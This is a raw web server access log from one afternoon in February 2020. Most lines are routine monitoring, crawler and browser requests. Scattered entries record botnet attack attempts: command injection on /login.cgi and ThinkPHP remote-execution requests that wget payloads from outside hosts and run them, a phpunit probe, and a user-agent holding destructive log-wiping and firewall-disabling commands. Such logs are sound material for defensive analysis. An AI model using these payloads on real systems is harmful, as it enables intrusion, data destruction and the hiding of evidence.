212.91.246.72 - - [25/Feb/2020:14:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.187.10.202 - - [25/Feb/2020:14:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:14:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.216.228.62 - - [25/Feb/2020:14:28:42 +0100] "GET /robots.txt HTTP/1.1" 404 330 "http:// www.friedrich-list-berlin.de" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"
34.216.228.62 - - [25/Feb/2020:14:28:43 +0100] "GET / HTTP/1.1" 200 1229 "http:// www.friedrich-list-berlin.de" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) DownloaderChrome/62.0.3202.75 Safari/537.36"
113.182.20.188 - - [25/Feb/2020:14:29:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:14:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.101.4.189 - - [25/Feb/2020:14:47:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:14:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:14:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:14:59:24 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:14:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [25/Feb/2020:15:01:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
80.82.77.139 - - [25/Feb/2020:15:01:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
80.82.77.139 - - [25/Feb/2020:15:01:08 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
80.82.77.139 - - [25/Feb/2020:15:01:08 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
80.82.77.139 - - [25/Feb/2020:15:01:08 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
80.82.77.139 - - [25/Feb/2020:15:01:08 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.13.0"
212.91.246.72 - - [25/Feb/2020:15:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.254.229.2 - - [25/Feb/2020:15:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:15:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.213 - - [25/Feb/2020:15:07:49 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.213 - - [25/Feb/2020:15:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:15:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.232.234.161 - - [25/Feb/2020:15:12:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:15:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.190.144.104 - - [25/Feb/2020:15:13:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "http:// www.friedrich-list-berlin.de" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) DownloaderChrome/62.0.3202.75 Safari/537.36"
54.190.144.104 - - [25/Feb/2020:15:13:31 +0100] "GET / HTTP/1.1" 200 1229 "http:// www.friedrich-list-berlin.de" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [25/Feb/2020:15:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [25/Feb/2020:15:13:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:15:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [25/Feb/2020:15:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:15:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [25/Feb/2020:15:26:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:15:26:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:15:27:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:15:27:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [25/Feb/2020:15:27:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:15:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.165.199.9 - - [25/Feb/2020:15:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:15:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.184.242.42 - - [25/Feb/2020:15:36:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:15:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [25/Feb/2020:15:47:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:15:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.118.103.117 - - [25/Feb/2020:15:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:15:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [25/Feb/2020:15:51:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:15:51:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:15:51:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [25/Feb/2020:15:51:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:15:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [25/Feb/2020:15:51:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:15:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.119.96 - - [25/Feb/2020:15:52:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
79.25.88.174 - - [25/Feb/2020:15:52:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.16.119.96 - - [25/Feb/2020:15:52:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [25/Feb/2020:15:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
